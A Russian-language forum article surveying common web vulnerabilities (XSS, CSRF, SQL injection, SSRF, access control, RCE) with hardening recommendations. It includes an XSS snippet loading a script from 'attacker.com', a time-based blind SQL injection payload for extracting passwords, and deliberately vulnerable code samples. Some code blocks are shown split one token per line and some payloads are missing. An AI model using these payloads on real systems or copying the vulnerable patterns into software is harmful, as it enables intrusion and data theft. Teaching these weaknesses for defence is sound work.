ANTICHAT - XSS, CSRF и другие распространённые уязвимости веб-приложений

https://forum.antichat.xyz/attachmen...6245175122.png

Даже самые передовые ИБ-решения не защитят бизнес, если базовая гигиена безопасности нарушена на уровне кода. Современные атаки на веб-приложения всё чаще используют удачные комбинации старых и новых техник: XSS давно не ограничивается захватом сессии, а CSRF способен работать даже сквозь «умные» фильтры. Разберём нетривиальные варианты эксплуатации на сложных примерах и обсудим механизмы противодействия.

Но перед тем, как переходить к конкретным примерам эксплойтов и методам поиска уязвимостей, будет полезно освежитьзнанияоб основах архитектуры веб-технологий. Без этого сложно будет понять, почему уязвимости возникают и как их использовать или предотвращать на практике.
XSS
Злоумышленник получает возможность внедрить произвольный JavaScript-код на сайт - например, в поля обратной связи, профиля или комментирования. Браузер не отличает встроенный скрипт от «своего», предоставляя атакующему полный контроль: cookie, localStorage, DOM, инициирование любых действий от лица пользователя. Так XSS становится инструментом для фишинга, кражи токенов, обхода CSRF-защиты, постоянного присутствия в клиентском контуре.

JavaScript:

Код:

// Распространённый паттерн эксплуатации через подключение внешнего контроллера



(

function

(

)

{

var

s

=

document

.

createElement

(

'script'

)

;

s

.

src

=

'//attacker.com/hook.js'

;

document

.

body

.

appendChild

(

s

)

;

}

)

(

)

;

Во фронтенд-фреймворках XSS чаще проявляется в опасных местах обработки пользовательских шаблонов, особенно при использовании динамического вывода:

JavaScript:

Код:

container

.

innerHTML

=

userControlledContent

;

// уязвимое место

Ведущий payload - не только , но и сложный SVG, iframe, event-handler или объект JSONP, - может инициировать отправку данных сессии на сервер атакующего, даже если сервер старается фильтровать очевидные конструкции. Например:

XML:

Код:

CSP (Content Security Policy), ограничивающая выполнение скриптов, помогает, но забытые разрешения для сторонних CDN, JSONP или SRI-ошибки позволяют обойти даже строгие политики.

https://forum.antichat.xyz/attachmen...6249057409.png

CSRF
CSRF эксплуатирует особенность браузера: cookie и сессионные данные автоматически прикладываются к каждому запросу, вне зависимости от инициатора. Атакующий отдаёт жертве скрытую форму или отправляет запрос через подставной сайт, операция на целевом сайте выполняется с учётными данными пользователя.

XML:

Код:



document.forms[0].submit()

В современном приложении SameSite-карточки для cookie и токены CSRF действительно затрудняют такую атаку, однако в сложных кейсах (например, токены вне cookie, Origin/Referer не проверяются, CORS реализован с ошибками) CSRF возможен через другие каналы - REST API, GraphQL, заголовки авторизации. В паре с XSS возможно автоматизированное извлечение токенов защиты и подписание вредоносных запросов изнутри системы.

https://forum.antichat.xyz/attachmen...6249079691.png

SQL-инъекции
SQL-инъекция возникает, если приложение напрямую подставляет пользовательский ввод в запрос к БД. Грамотно построенный эксплойт позволяет читать, изменять или удалять данные, выполнять сложные подзапросы, а нередко и захватывать контроль над самим приложением.

Python:

Код:

# Вариант уязвимого поиска по email

user

=

User

.

query

.

filter

(

f"email = '{email}'"

)

.

first

(

)

Слепая инъекция (Blind SQLi) позволяет получить нужные данные по побочным признакам, например, по времени задержки ответа от базы:

SQL:

Код:

' OR (SELECT CASE WHEN (SUBSTRING(password,1,1)='

a'

)

THEN

SLEEP

(

5

)

ELSE

0

END

)

--

Payload'ы маскируются с помощью юникода, комментариев, альтернативных синтаксисов и чередования команд - всё для обхода фильтров и WAF. Классические конструкции, такие как закрытие кавычки, - лишь начало арсенала; современные атаки прокладывают цепочки через лог-файлы, вспомогательные API или комбинируются с XSS/SSRF.

https://forum.antichat.xyz/attachmen...6249089424.png

SSRF, Broken Access Control, RCE
SSRF даёт возможность вынуждать сервер выполнять запросы к адресам, определяемым атакующим. Это актуально для интеграций, файловых загрузчиков, систем конвертации и интеграций - особенно при обращении к внутренним адресам (AWS Metadata API, сервисы внутренней инфраструктуры).

Python:

Код:

def

get_content

(

url

)

:

return

requests

.

get

(

url

)

.

text

# отсутствие whitelisting

Broken Access Control позволяет злоумышленнику получить чужие данные, изменить параметры в API-запросах или манипулировать структурой данных вне зоны ответственности клиента. Любое отсутствие серверной валидации ID или границ доступа - потенциальный канал для вывода информации за пределы прав пользователя.

RCE встречается, если приложение передаёт пользовательский ввод в eval, exec, shell-команды или плохо спроектированные обёртки над сторонними сервисами. Это гарантированная точка компрометации с полным контролем над внутренним окружением.
Рекомендации

Любые пользовательские данные проходят строгую фильтрацию, валидацию и экранируются по месту использования.
CSP формируется от запрета ко всему - разрешения только точечные; отключены inline-скрипты, unsafe-eval.
Применяются строгие заголовки безопасности: HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy.
Работа с embed-контентом ограничена, лишние интеграции исключены, все формы и критические точки API защищены CSRF-токенами и механикой принципа наименьших привилегий.
Вся работа с базой данных ведётся только через параметризованные запросы, логика авторизации реализуется только сервером.
Все попытки эксплуатации и аномалии фиксируются средствами аудита и логирования.

Для практиков создан отдельный гайд по стартовым утилитам: «Пентест веб‑приложений: 6 лучших инструментов для старта». Выбор инструментов, сценарии сканирования и проверок - вся база для начинающего аудитора.
Заключение
Современный подход к безопасности - постоянное внимание к деталям и непрекращающиеся контроль на всех этапах жизненного цикла кода. Системное мышление и культура инженерии безопасности куда критичнее любых формальных «чекбоксов» и случайных рекомендаций. Именно так защищаются приложения там, где атаки идут не из учебника, а из реальных угроз.